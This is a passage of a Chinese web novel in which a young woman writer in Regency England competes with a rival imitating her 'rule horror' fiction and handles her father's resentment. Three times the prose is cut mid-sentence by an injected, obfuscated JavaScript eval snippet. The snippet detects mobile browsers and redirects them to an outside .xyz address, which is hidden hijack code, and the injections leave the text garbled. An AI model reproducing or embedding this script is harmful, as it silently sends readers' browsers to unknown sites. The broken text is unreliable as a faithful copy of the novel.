戴安娜仰着脑袋想了一会:“给我换两英,不,50先令吧。”
“好。”
贝琳达回到卧室数好硬币交给她,硬币撞击的声音异常美妙,戴安娜第一时间跑到夏洛特和玛利亚面前,摊开合拢的手掌。
天还不晚,但黑了,起居室里亮起烛火,先令们折射出漂亮的光。
“还钱了还钱了!”她喊道。
她们早就在她跑出书房拿画时就知道她赚多少钱了,自然为她高兴,却没想到她头一个想起来的就是还钱。
真是长大了,贝琳达很欣慰。
“我欠你们多少钱来着?”戴安娜挠着头,她就记个大致的数目。
贝琳达:“……”
玛利亚头一歪:“其实我也忘了。”
贝琳达扶额。
最后夏洛特的账本解救了她们,她和妈妈一样有记账的习惯。
玛利亚每周的零花钱跟她一样,花销她也有点数,毕竟她们姐妹一起出门的次数多,再数数剩下多少就能算出戴安娜借了多少钱。
“我也要!”
威尔跑到戴安娜身边,对她伸出手。
戴安娜竖起手掌,诡计多端的弟弟又来骗吃骗喝。
威尔下意识捂住头,尖叫着打人了跑到贝琳达的沙发后面躲着。
这还没完,一阵激昂的钢琴声在头顶上响起。
众人不约而同地捂住耳朵。
玛利亚望着天花板:“不是对海伦说过有客人,不要虐待钢琴吗?”
“她在二楼,可能看到当顿先生的马车离开了。”夏洛特猜测道。
“交给我吧,我来阻止她。”
戴安娜说完,大踏步出门上了二楼。
她现在感觉自己是世界之王,什么都能做得到。
玛利亚想叫她没来得及,想起被海伦拉着四手联弹的午后,心中涌出不好的预感。
“放心吧,杜赫不爱碰钢琴。”夏洛特看出她的担忧,安慰道。
当得知弹钢琴好是女性在殙因市场的一项砝码后,戴安娜对它的好感就荡然无存。
但夏洛特不明白,她对做饭如出一辙的厌恶是哪里来的?
须知她们这个阶层,未嫁女性会做饭不是加分项,而是减分项,这说明娘家没那么体面。
那戴安娜的想法应该是“不体面是吧?我非要干”,而不是宁愿烧柴擦盘子都不做饭。
难道说有人逼着她学吗?
夏洛特没来得及深想,楼上响起的钢琴与小提琴合奏打乱她的思绪。
玛利亚一脸毫不意外的表情:“如果猫能弹钢琴的话,我想海伦也会和它合作。”
夏洛特安慰道:“往好里想想,至少有人陪伴的时候,海伦的琴声很好听。”
贝琳达:“我怀疑这就是她的目的。”
完成陪妹妹玩的日常任务,几天后戴安娜跟着妈妈去了一趟伦敦银行,存了300英镑——当顿拿走所有的插画,给了她30英镑的报酬,再加上下一本书连载的酬劳15英镑。
剩下的几英镑她捏在手里,再买文具不用借钱,实现了纸笔自由。
她用新买的漂亮信纸和羽毛笔给教她写作的人写信。
【劳蕾塔,你不是问我不好好写小说,在报纸上跟人吵架的意义是什么吗?
【别的作家拿一百多英镑,我拿到了300英镑,这就是意义。
【别人冒犯了你,你觉得忍一忍就过去了,那他下次还会冒犯你,因为他知道你会忍,他的冒犯不会招致任何后果。
【相反,当他嘴贱的时候,你上去抽他一巴掌,他就知道不该这么做,若论教人写作,是你的功夫深,但论斗争,还是我更有经验。
……
【您布置的练笔,我已经按照要求写完,附在信后,静候您的回信。
——你虔诚的学生拉赫昂】
劳娜呵呵一笑。
虔诚吗?开头连句寒暄都没有,直接炫耀拿了300英镑稿费的是谁?
这人还有两副面孔呢?
上一次见到,还是她跟丈夫手底下的评论家在报纸上掐架,气得丈夫大发雷霆。
寄给自己的信却通篇感激某句指点产生的启示,最后礼貌地询问还有没有别的意见。
她啼笑皆非。
要是让丈夫知道蔑视他的人对他的妻子如此尊重,恐怕又要气得翻白眼了。
这个想法促使原本不打算和拉赫昂来往的劳娜,坚持与她通信一年。
一年了,再想断也难,所以劳娜只是在心里嘀咕两句,拿起她寄来的作业认真批改,再以劳蕾塔的名字寄回去。
或许拉赫昂是正确的,但可悲之处在于她只有一直强大才能维持这份正确,而人生实在太长了,只要失误一点就会被过去追上,狠狠拽下来。
她不无悲观地想着,却没有像第一次通信那般直言不讳。
【期待你的小说出版,希望海伦能早日来到我身边。】
一周后,《规则怪谈Ⅰ》正式出版,分为两版,每版均是四卷,第一版无插图,一卷售价1先令,第二版有精装插图,一卷售价2先令4便士。
消息早就放出来了,不少同行嘲笑她们。
精装修,那是已经取得一定成果的作家的待遇,提前赋予刚出版第一本书的作者实在操之过急,不知道是不是拉赫昂的要求。
还好当顿有自知之明,精装修每卷分别只印刷了1000册。
不过也有些人觉得拉赫昂这人是有些邪门的,不能轻易下定论,于是就没有在公开场所发表意见。
这是正确的。
因为在开售第一天,《规则怪谈Ⅰ》的第四卷就卖出了4000册,第三、第二、第一卷的数量往下递减,每个书店的老板都会告诉买主。
“第四卷?加印了,再等两天吧。”
“第三卷还有7本,快卖完了,要吗?”
可以总结出,群众更喜欢她后面写的故事,而且拉赫昂·希耶尔在写这本书时以惊人的速度进步。
更令人震惊的是被人嘲讽开售后无人无津的精装版1000册,不论第几卷,在三天内竟然全部售空,叫一部分老古董恨得牙痒痒。
这下想尝尝咸淡都不能了。
而尝到的则一脸不屑,画得也不怎么样,没有素描的写实逼真,论色彩的表现力也不如油画,只有黑白二色,怎么就那么受欢迎?
说话!看他的眼睛。
买精装版的不语,只是一味看书,津津有味。
这部分买家百分之九十五是中产阶级的女性,不需要打工,家务有女仆帮忙,除了社交,几乎整日在家无所事事。
意味着她们有购买力,向往外面的生活,不能实现这一点的前提下愿意将情感寄托在小说里,代入进海伦这个身份去冒险。
更妙的是她们虽然也在家中摆放几幅撑场面的油画,但没有受到上层社会绘画审美的熏陶,在这方面几乎是一张白纸。
比她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737529|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们更有身份的人指着某些油画和水彩画大聊特聊时,她们肯定会捧场,对对对,是是是,拉赫昂的画分文不值。
但私底下付钱比谁都快。
虽然三角鼻子很古怪,不过眼睛很漂亮很有神,衣服都很好看,穿上军装后更是个衣架子。
天啊,拉赫昂的右手一定被上帝亲吻过,她怎么能把女性和军装如何完美地结合在一起?
比起油画里缝纫的女仆、打着伞走在西边的贵族小姐还有受难的老妇人,她们更喜欢拉赫昂笔下的海伦,一直在反抗着什么,所以一直生机勃勃。
越看越好看,越看越喜欢,一传十,十传百,再印的精装版也销售一空,老古板们再不愿意承认,事实也摆在眼前。
拉赫昂的画技已经被市场所接纳,她不再是没有根基的新人作者,她是这一年伦敦最受欢迎的作者。
……那又怎么样?她得不到权威和主流的认可。
……她只是个能赚钱的老姑婆而已。
由于她对殙因和丈夫的蔑视,在13岁高龄荣获文学界老姑婆的称号,连她的一些读者都这么认为。
一个妙龄少女怎么会不憧憬与自己相匹配的幸福殙因呢?她这般历经沧桑的感慨就是很像老人啊。
当然,这对戴安娜的杀伤力为零。
一则,她知道自己的年龄,他们拿不实的话攻击她,只会令她觉得可笑,但他们的秃顶是切实存在的,骂出来会让他们跳脚。
二则,就算她老了,她也没有年龄焦虑,按照现在的轨迹努力几十年,她肯定成为更优秀的作者,画技也更加精进,相应的能赚更多钱,更自由。
这么一想,真想早点过上养老生活。
睡前想一想,睡醒后该工作就工作。
出版之后,读者来信的数量暴涨,报社那边剔除一部分搞她心态的差评,剩下的寄给她看。
等看到安娜的来信之后,她才知道原来筛选差评的工作是她主动争取的。
这样一来,那些语气不好,但有用的建议就不会被丢掉,安娜会用更容易让她接受的方式让她知道。
她真好。
不单单是法语,还有一些小知识也是她教的。
比如说不同的作家在不同阶段会拿多少稿酬,再比如目前出版界的一些习惯。
由于《凯尼尔沃思》的大获成功,出版界纷纷效仿,一部高质量的小说,第一版通常会出版三卷,一卷300页,《凯尼尔沃思》的定价31先令6便士成为参考价格。
姑且算1先令30页,比较一番就能看出当顿的心理。
《规则怪谈Ⅰ》一卷90页,售价1先令,定价没有她想得那么高。
不如说《凯尼尔沃思》的定价太高了,除了富人没人买得起。
一本书分四卷的发行方式也看出他没把她的小说当高质量小说,最起码没有那么多信心,所以才想要分薄一些,达到薄利多销的效果。
倒不是责怪他,只是弄清楚合作者在想什么很有意思。
更令她高兴的是安娜真没把她当外人,不愧是她的贴心小棉袄。
她没有沉湎于第一部小说获得的好评,又过上了写小说-练笔-检查旧稿修改-寄稿子的规律生活。
没过几天,卢卡斯爵士突然叫她去一趟书房,用沉痛的神色说:“不好了,杜赫,不好了,要完了!”
戴安娜莫名其妙被叫出来,一肚子气,压着不耐烦:“什么事?我没空猜谜语。”
卢卡斯爵士看出她态度不好,但没有生气,递给她一份报纸,指明了版面。
她低头一看,主标题殡葬俱乐部,副标题规则怪谈。
作者不是她。
16.规则怪谈(十六)
殡葬俱乐部?那是什么?收尸的义庄吗?
戴安娜皱着眉往下看。
故事的舞台在伦敦纳辛尼斯街,三女四男被诡异困在这条街上不得离开。
她们拥有各自不同的身份,不能聚在一起寻求安全感,必须去往三个不同的家庭,可想而知除了同伴,其余家庭成员全是诡异。
要战战兢兢跟祂们生活在一起,及时找到规则,不能触犯规则,否则下场显而易见,其中一个同伴已经惨烈地死在诡异之手。
恐惧进入家庭,如影随形。
主角冒着火焰从砖和石块砌成壁炉里抢出羊皮纸,顶着诡异们怨螙的目光飞快溜回房间,和同伴一起看。
家庭守则如下:
一、请每天上交13便士给母亲作为生活费,体谅母亲的辛苦,否则会有不好的事发生。
二、保护好家里的婴儿是每一个家庭成员的责任,如果不幸,婴儿生病,立刻带她远离母亲。
三、婴儿晚上是不会哭的,假如在夜晚听到婴儿的哭声,请去寻找母亲的帮助。
四、父亲是可以相信的,心中默念三次父亲,他就会从天而降。
葛瑞斯和西蒙倒吸一口凉气。
这家里根本就没有母亲啊。
二人讨论一番,猜测规则可能被污染了,不能相信父亲。
葛瑞斯认为应该同其余人交流规则的内容,她是从火里抢出来的规则,其余人可能根本没找到。
西蒙持反对态度,不能因为烂好心浪费第一天的黄金时间,他要确定婴儿在哪里,这是关键。
谁都说不通谁,二人不欢而散,各自探索,视角跟随葛瑞斯,她想要找去找左边那家的同伴,不幸卷入了她们的“家庭矛盾”中。
一番惊险的大逃亡之后,同伴拿出他找到的家庭守则,羊皮纸上的内容截然不同。
现实生活中每个家庭的规矩都不一样,无需大惊小怪,但这是怪谈中,诡异变着法想杀死她们。
葛瑞斯当即想到三个家庭的家庭守则会不会被调换了?
同伴的想法与她一致,回过头想想,他分明没有触犯规则,却莫名其妙被诡异追杀,很有可能找到的规则是别人家的。
那这样一来,第三个家庭里的人就很危险了。
她们的处境也是如此,很有可能会失去一份家庭守则。
但同伴认为葛瑞斯手里的规则就是他家的,婉拒了她的同行邀请。
葛瑞斯没有办法,只能孤身一人去探索。
她以为第三家也是龙潭虎穴,房门忽然轻轻打开还吓了她一跳,没想到是笑呵呵的男人送人出门,好像捡了一笔横财。
葛瑞斯心生疑窦,担心触犯规则,不敢随便潜进屋子,废了一番功夫与这家的三个同伴汇合,沟通情报,交换规则。
她手上的家庭守则是第二家的,第二家的家庭守则是第三家的,她拿到第三家的,刚松了一口气,余光瞥见那三人惨白的脸色,心中一紧,赶紧问怎么了。
其中一人说:“守则让我们保护婴儿。”
“可是这家的婴儿刚刚病死,被殡葬俱乐部带走了!”
戴安娜的眼睛看报,双腿自顾自走向沙发,靠在靠背上才有安全感。
过了一会,她放下报纸。
“还有吗?”
“没了,这是最新一期。”
戴安娜佯装生气:“江湖上的规矩是什么?”这么痩的文还推给她。
卢卡斯爵士:“……你又在说怪话了。”
戴安娜没理,再次拿起报纸看了看,抬头问道:“真的有这种地方吗?加入殡葬俱乐部,死后就能获得一笔钱,办这俱乐部图什么?”
卢卡斯爵士一呆,随后干咳一声:“你问办殡葬俱乐部图什么?我经常在报纸上看到殡葬俱乐部,办它的意图我很清楚,你费解是正常的,我最初知道的时候也不能理解,现在我给你讲一讲……”
一会后。
“你明白了吗?”
“听君一席话,胜听一席话。”
可能意识到没糊弄过去,丢了面子,卢卡斯爵士赶紧转移话题,板着脸问:“戴安娜,你看完这篇小说之后只想问这个吗?”
“不然呢?”
“他写了规则怪谈!”
“这是什么新鲜事吗?去年11月份的时候,不就有好多人写了吗?”
什么题材火写什么,不寒碜。
沃波尔写完《奥特兰托堡》,也没说禁止别人写哥特小说。
这男的只是写规则怪谈而已,又不是抄了她的情节对话。
卢卡斯爵士提高声量:“这不一样!”
“你吼那么大声干什么?”戴安娜大声回答。
“这不一样,杜赫,”他用平常的语气重复一遍,来到她身边坐下,拿起《每日新闻报》,指着上面的落款,“你看这个名字。”
“哦,是玛丽·雪莱还是华特·司各特?”
“噢戴安娜你认真一点,他是查尔斯·贝恩斯,一位优秀的小说家,出版过很多部小说,你知道的,我不爱读小说,但我听过他的大名,他写规则怪谈和别的人不一样,他会占尽风头。”
“所以呢,你有什么好办法吗?”戴安娜平静地问。
“什么?”卢卡斯爵士愣住了。
“办法,威廉先生,”戴安娜从他手里抽出报纸,低头看了两眼,下一秒掀起眼皮直视他,“他要长篇连载,刚才我也看过了,文笔好,剧情好,他会抢走我的读者,你有办法吗?”
卢卡斯爵士吃惊反问:“我怎么会有办法?”
“原来你没有办法,那你为什么对我说这些?想给我制造焦虑吗?”
话音刚落,他猛地起身,眼睛瞪得老大:“我的天你怎么能说出这么刻薄的话?我是好心提醒你。”
戴安娜仰头注视他一会,一直到他移开视线,她才慢吞吞起身。
“那不好意思,错怪你了。”
说完就走了。
身后的卢卡斯爵士欲言又止,终究什么都没说,吃晚饭时悄悄观察她,注意到她该吃饭吃饭,该跟他聊天就聊天,才松一口气。
她没看出来。
当晚,夏洛特敲开她的房门。
“打扰了吗?”
“打扰了。”
“那你给我十分钟再去做你的事。”
戴安娜绷不住了,这不是之前她和夏洛特坦白的态度吗?
我知道影响你了,但我也要做。
夏洛特很少展露出如此强势的态度。
“好吧,谁让你是我亲爱的姐姐。”她整理好凌乱的书稿,带着椅子转了个方向,面朝坐在床上的夏洛特。
她正襟危坐,看上去很乖。
夏洛特意有所指道:“你要是平常也这么乖就好了。”
戴安娜的肩膀瞬间坍塌:“我听出来了,这不是你的真心话,是有人想借你之口规训我。”
夏洛特一时不知道该肯定还是糊弄过去,便让戴安娜抓住了主动权。
“洛蒂,你善于观察,你能准确地告诉我吗?威廉先生是不是在忮愱我?”
“不!他只是,他只是,”夏洛特绞尽脑汁,避着戴安娜的视线想出合适的说辞,“怕你瞧不起他,你看,你出版规则怪谈,一年赚了300英镑,而爸爸一年的收入是240英镑。”
“这不是理由,要这么说,我比妈妈和你赚的钱也多,但你们都在为我高兴。”
“他只是一时之间难以接受被你超过而已,他爱你,与我和妈妈没有不同,倒是你,你为什么会那样想爸爸?”夏洛特很费解。
戴安娜不擅长观察别人隐藏的情绪,全部心力都扑到赚钱上,她怎么会留意到爸爸的不对劲,又把不对劲的地方想成忮愱呢?
她沉默片刻,说出下午书房里发生的事。
夏洛特叹了口气,这的确算一点蛛丝马迹,但这不像是粗心大意的戴安娜能发觉的啊?
“就因为这个?告诉你有一位杰出的作家写规则怪谈,称作善意的提醒或者是警醒也可以吧?”
戴安娜不知道说什么。
难道说她上辈子的爹就是这样的人,所以她有丰富的甄别“对方是不是认为她瞧不起他”的经验吗?
她在很小的时候,大概三四年级吧,有一日跟着婶婶去玩,下午回家,刚走到单元门的门口,就被一巴掌扇倒在地。
当时那个供配者说了什么,她忘得差不多,只记得他反复问一句话。
“还知不知道一顿吃几碗饭?”
无厘头、无稽、没有任何理性,纯粹发泄情感的一句话。
她听不懂。
由于长大的过程中他曾很严厉地说过不许看不上他,她才慢慢明白,原来当日挨打,是因为婶婶一家有钱,她跟婶婶出去玩,就是忘本,忘了谁给她一口饭吃。
他很多次怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745709|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疑她看不起他,事实上她小时候完全没有这种想法,只是伤心畏惧委屈而已,懂事后是真真正正的蔑视。
在外面当孙子的人回到家里当皇帝玩起“不可藐视君父”那一套了?
男人的自尊心是在家庭和学校中逐渐膨胀的,主要是家庭,连撒尿远都会被夸奖,要是有个溺爱男宝的老师更完蛋。
当他们以为自己无所不能时走上社会就会很容易发现一件事——他是个废物。
自尊心令他们不能接受,男人比他强,尚且会发了疯地诅咒,更别说女人也比他强,怎么办呢?上哪里重塑他的自尊心,重新掌握大权呢?
答案显而易见。
她就是在这种压迫下活到17岁。
她可能对爱不敏感,但能立刻分辨别人是不是觉得她瞧不起他。
更何况卢卡斯爵士不是心里想想,他是已经开始行动了。
诉诸武力和打压才能,尽管卢卡斯爵士只是做了后者,但之于戴安娜,也像白纸上滴落墨点一般明显。
“好像是从书里看来的。”戴安娜只能这么说。
“我懂了,你很能体谅别人的感情。”夏洛特相信了,因为对她人的困难感同身受是戴安娜了不起的优点之一。
姐妹俩相对无言。
好半晌,夏洛特问:“你打算怎么做?”
戴安娜双手一摊:“什么都不想做,我原本想当做不知道的。”
什么是在规则边缘大鹏展翅,什么是彻底迈过危险线,这个区别她懂。
她可以在报纸上发声,过火一点也没事,但她不能驾着马车去创国会。
夏洛特露出惊讶之色,旋即面孔上浮现心疼的表情。
她的妹妹从没有如此忍气吞声过。
“委屈吗?”
戴安娜摇头:“不,我只要知道妈妈永远不会疑心我就够了。”
这样过去了半个月,卢卡斯府貌似恢复了往日的平静。
除了戴安娜,一家人过着平静的脱产生活。
卢卡斯爵士心底微妙的不平衡也因为查尔斯·贝恩斯的《殡葬俱乐部》的广受欢迎而逐渐消散。
一边赞叹他的文章,一边发愁戴安娜的写作生涯,打定主意如果戴安娜也担忧的话,就和贝琳达一起劝说她放弃写作,老老实实做爵士的好孩子。
但戴安娜从没有接茬。
好像查尔斯·贝恩斯与其她写规则怪谈的人并无两样,根本不把他放在眼里,这让站在查尔斯那边的卢卡斯爵士感到不快。
8月29日,《每日新闻报》上的一篇“真正现实主义的规则怪谈作家”引发了热议。
所谓的殡葬俱乐部起初是互助性质的,贫穷的人们交一笔微薄的会费,家里有人过世,又没钱买墓地,俱乐部就会从会费里拨出一部分给她用。
原本是一件好事,但总有会算计的人,他会想,万一别人家死了人,我家一直没死人,那这笔会费不就浪费了吗?
也总有贫穷的人,人死都死了,钱花在死人身上太不值得,花在活人身上不正好?
因此,杀婴屡见不鲜。
报纸上说一个孩子可以注册一到三个俱乐部,她一死,其家庭可以得到最多20英镑,甚至不是个例。
查尔斯·贝恩斯将这种社会惨状融入故事披露出来,非常有现实意义,这不比某些天天煽动情绪的作者要好多了?
他才应该是规则怪谈真正的开山祖师。
“不能再这样下去了,戴安娜小姐,”当顿急急忙忙跑到她家,坐在书房的沙发上愁眉不展,“人们需要规则怪谈,你的文章仍然有销量,可是不制止这股势头,你的名声……”
“当顿先生,无须担心,我正打算明天寄新的稿子,正好你来了,那就现在看看吧。”
省了她一笔邮费。
当顿接过一沓书稿,看看正吹凉热水的戴安娜,想说什么,却忍住了,选择听她的话,拧着眉头低头看。
先是一惊,然后继续往下读,眉宇缓缓舒展开,脸上仿佛被刺破阴霾的光照亮,他抬眸看一眼戴安娜,低头瞅瞅稿子,好像眼睛不够用了。
“戴安娜小姐,您真是不可思议。”
“当顿先生,你认为我可以凭借它翻盘吗?”
“当然!你会更进一步,”当顿大声回答,再翻了翻稿子,如获至宝,用热切的目光注视她,“我能问问吗?您怎么会如此了解东方的恐怖呢?”
17.规则怪谈(十七)
当顿其实没怎么把查尔斯·贝恩斯放在眼里。
不错,他也写了规则怪谈,戴安娜规则怪谈里的元素,他都利用上了。
一个封闭的地点,几条互相矛盾的规则,以及规则会被污染,需要推理出正确的规则,逃离诡异的追杀。
但以编辑的角度来看,用得不算上乘,还很生疏,他所营造出的恐怖氛围也远远不及戴安娜小姐。
戴安娜小姐前两个规则怪谈还略微有些悬浮,但写到最后的《七封信》和《捉迷藏》,可以说将恐怖融于细微之处,一字一句都让人不寒而栗。
贝恩斯的优势在于融合了当下的社会现实和塑造一对出众的情侣主角。
前者很受文学界的认同,后者更符合伦敦人民的阅读需要。
男权社会上的主流风气肯定不是厌男,文学作品中出现一位出众的男性角色,读者们是很容易爱上的,要是出现两个,能一起爱上。
这个想法只出现了一秒就被他晃出脑袋,自亨利八世开始,同性恋就是重罪,上帝饶恕,他怎么能这么想?
总之,读者们对于葛瑞斯和西蒙的冒险恋爱喜闻乐见,再加上《每日新闻报》谎言重复千遍成为真理的舆论优势。
当顿不得不提醒戴安娜,任其发展会产生相当棘手的问题。
他也带来了解决方案。
很简单,她给海伦安排一个男主角就好,依他的经验,女作家笔下的男主角通常比男作家笔下的男主角受欢迎。
当然,戴安娜小姐有这个年纪常见的清高固执,难以说服,这也没什么,他将情况说得严重一点就行。
她住在赫特福德郡的乡下,哪里能精准掌握伦敦的动向?
但他没想到,她拿出了这样的惊喜。
东方怪谈。
迎着当顿殷切的目光,戴安娜轻描淡写道:“我在镇上的图书馆看了许多书,包括传教士写的。”
卢卡斯爵士不解:“传教士的书?这太惊人了,我记得你对教会不感兴趣。”
“这没办法,谁叫只有他们去过广州呢?”
当顿微笑道:“没错,要说谁最了解那个东方国度,也只有传教士了,我和安娜也很爱看他们的游记和回忆录。”
戴安娜来了谈兴:“你怎么看他们?”
“他们的辫子很有魅力,我见过很多出海官员也留了,要不是我是卷发,也想留一条。”
戴安娜:“……”
卢卡斯爵士为表自己的审美能力与上等人一致,忙跟着说:“我也是我也是。”
戴安娜:“还有别的吗?”
当顿想了想,回答:“她们的衣服很丑,抱歉,我说得太不客气了,我实在难以从长衫上找到任何美感。”
这倒是真的,清朝的服饰一言难尽。
戴安娜说:“传教士接触的大多是贫苦人,和需要加入殡葬俱乐部的伦敦人一样,哪里有钱置办好衣服。”
当顿深表认同,又谈起多个传教士描述过的问题,溺女婴和缠足,批判他们道德败坏、轻女重男。
卢卡斯爵士听得入迷,也不端着什么都懂的架子了,问:“他们竟然这么迫害可能是自己的母亲、孩子、妹妹的人,为什么?”
当顿沉吟道:“我不太了解,只说一说米怜先生书中的观点吧,他们认为女性如果不缠足就不漂亮,就找不到丈夫,而米怜先生则认为杀害女婴源于道教的阴阳观念,将所有男性的事物抬得过高,过于贬低象征女性的事物。”
当顿说得很详细,为供稿人提供写作素材是编辑的责任之一。
卢卡斯爵士久久不能回神:“这太残酷了。”
这么多年了,他一直生活在远离纷争的乡下,从没接触过如此堕落的事。
“只有上帝才能拯救她们。”他断言。
戴安娜扯了扯嘴角。
你们那个上帝连英国都救不了,还想救别的国家?先管好自己。
她再次对当顿提问:“这些事全是东方负面形象的代表,为什么你会觉得我写这些会更进一步。”
她知道能翻盘,但不理解当顿为什么自信能大火。
“戴安娜小姐,你要明确一件事,不是所有人都会去看传教士的书,再说底层的生活不能完全代表那个国家,在大多数人心里,它仍然是千年来可以匹敌罗马帝国的国家。”他说这些话的口气隐隐透着敬意。
戴安娜眼神微妙。
他们竟然是这么想的。
她还以为自上世纪末马嘎尔尼拜见乾隆,欧洲对东方的滤镜就碎掉了。
毕竟使团回忆录里充斥着对清朝官员的不满,“看似讲究礼节,实则粗鲁,假谦逊而真顽固”,阿美士德使团更是认为不能跟傲慢自大的清朝人沟通,没见到嘉庆就回国了。
即便如此,他们依旧对清朝持有相对正面的印象。
当顿动动脑子,想清楚戴安娜在担心什么,他表示你想太多了,先不要想,为了不让她的创作有后顾之忧,还说了说东印度公司支持者对清朝的看法。
“谢谢你当顿先生,你这么说,我就放心了。”
“不用客气,戴安娜小姐,后面还有吗?”
戴安娜说有初稿,不过没有修改完毕,但当顿还是想看,她就上楼去拿了。
她的想法很简单。
规则怪谈不是独属于她的,谁都能写,有钱大家赚,有好大家分。
但要是想踩着她出名,那是不行的,更别提他塑造的那对情侣主角处处都有她海伦的影子。
你的横向阅历丰富是吧?她的纵向阅历也未尝不丰富!
当顿看完了初稿,虽然没有说服戴安娜写一位男主角,但心满意足,他对卢卡斯爵士这么说。
“看传教士书籍的人很多,但没有一个人能写出细节详尽的东方恐怖故事,卢卡斯爵士,我可以肯定,戴安娜小姐是个天才。
“继续写下去的话,会取得你我都难以想象的成就,有这样的孩子,真是幸运。”
卢卡斯爵士一时哑口无言,下一刻也跟着笑起来,眼底充满欣慰:“是啊是啊,我也以她为傲。”
他完全忘记心底若有若无的恶意,甚至怀疑那是否真实地存在。
一定是幻觉,他怎么会打压戴安娜呢?他一直盼着她好。
他说服了自己,生活在一个屋檐下的人也看出他的改变,放下心来。
9月3日。
编辑格莱德来到楼下,见到被女仆带进室内的中年男人,他面带愁容,眼下微青。
“哦,你的表情可不太好,”格莱德担忧地问,“难道说贝恩斯夫人的病情恶化了吗?”
“多谢你的关心,已经稳定住了,我们抓紧时间谈工作吧。”贝恩斯回答。
“好好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759007|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,请跟我到书房来。”
这两人上了二楼。
最近贝恩斯常常拜访格莱德,一起分析拉赫昂的文章,研究恐怖怪谈的写法。
贝恩斯其实不想针对拉赫昂,尤其是格莱德说漏嘴,他得知她只有十三岁后,对她在报纸上发表的言论更加宽容。
可是他没办法,他的妻子生病,有两个女儿,不能得罪编辑,所以编辑让他写什么,他就写什么。
两人在沙发上落座,格莱德笑着说:“我看没有必要分析了,贝恩斯先生,你写得非常好,接下来你就完成这部规则怪谈就好。”
贝恩斯一愣:“那您叫我来是为了什么?”
格莱德有些不悦,贝恩斯真不会说话,不过面上没有表露,依旧是友善的模样。
“算是庆祝,那篇文章发表后的第一个星期日,拉赫昂没有任何回复,今天是《淑女通讯》发新刊的日子,正好一起看看她的新故事写了什么。当然,无论如何都比不上你的殡葬俱乐部。”
“咚咚”两声,房门被敲响,女仆推门而入。
“先生,您要的报纸。”
“快拿过来!”格莱德高声道,他一份,贝恩斯一份,“让我们看看这位不可一世的小姐的新故事。”
贝恩斯勉强地笑笑,他实在不能理解格莱德先生跟小孩计较什么呢?
他没说,低下头看报,主角是他很熟悉的海伦·伊莱恩,让他又爱又恨的主角,他爱她的果决和智慧,也恨她不为任何人停留,所以他创造了比她更好的葛瑞斯,让她在他的故事里收获一份美好的爱情。
这一次她来到东方的小镇。
贝恩斯只看了几行就沉浸在那个世界之中了。
格莱德却不能像他一样,以读者的身份安心享受这个故事。
这篇中式恐怖怪谈越是文采飞扬,他的脸色就越是苍白,到最后表情狰狞。
“她只不过是一个乡巴佬,她怎么能写出这种水平的东方怪谈?”
说完,竟然晕了过去,吓了贝恩斯一跳,赶紧叫女仆,女仆叫来了劳娜。
劳娜主持大局,客客气气送走贝恩斯,再叫女仆去请医生,令男仆将格莱德搬到卧室里,医生过来说他是火气太旺,开了点药,看他醒过来,再叮嘱几句不要再生气了,拿着诊金离开了。
“别再跟拉赫昂较劲了,”劳娜劝说,“除非你想彻底弄坏身体,丢掉报社的工作。”
“她一定有问题。”
“有什么问题都跟你无关了。”
如果格莱德知道未来,他会骂骂咧咧,说戴安娜运气好,赶上英国最后一次东方热。
但这一切都不重要了。
戴安娜的第一本书凭借规则怪谈大火,但这把火只在中产阶级烧得热闹,而她的第二本书,切切实实烧进了贵族里,满足了贵族对东方的某些好奇心。
当顿每天都很开心,此前就有许多人想要他引荐拉赫昂,都被他以拉赫昂需要专心创作拒绝了,即便如此,他也抓住了不少珍贵的人脉,对他做生意很有帮助。
他去年生意上的收入比前年和大前年加起来还要多,这也是他愿意给她正常稿酬的原因之一。
而今年,他还收到不少贵族的沙龙邀请和会见邀请,如何能不让人激动呢?
戴安娜小姐要是能保持质量写完这本书,她的薪酬再次翻倍也是没问题的。
18.规则怪谈(十八)
来年四月,当顿宅邸。
穿着白色帝政裙的安娜坐在客厅沙发上看书,过了一会,轻声对身边的女仆说了两句话,女仆点点头,上了二楼。
又过一会,她放好书,抬眼看看钟表,起身来到楼梯口。
“爸爸,要迟到了。”
“马上就好,再等一会安娜,”二楼传来当顿的声音,“该死,我不是说给我拿那条墨绿色的领结吗?”
女仆和男仆道歉的声音此起彼伏,一阵兵荒马乱后,二楼响起规律的厚鞋跟踩在木质地板上的声音,穿着整齐的当顿来到一楼,看到安娜之后皱了皱眉。
“哦,安娜,我知道你不喜欢社交,但邀请我们的是贝斯福德夫人,客人穿得太朴素恐怕会令主人不悦。”
伦敦贵族之中,帝政风已经在走下坡路,不少贵族重新爱上了蓬蓬裙。
穿着一身即将过气的衣服赴约很不体面。
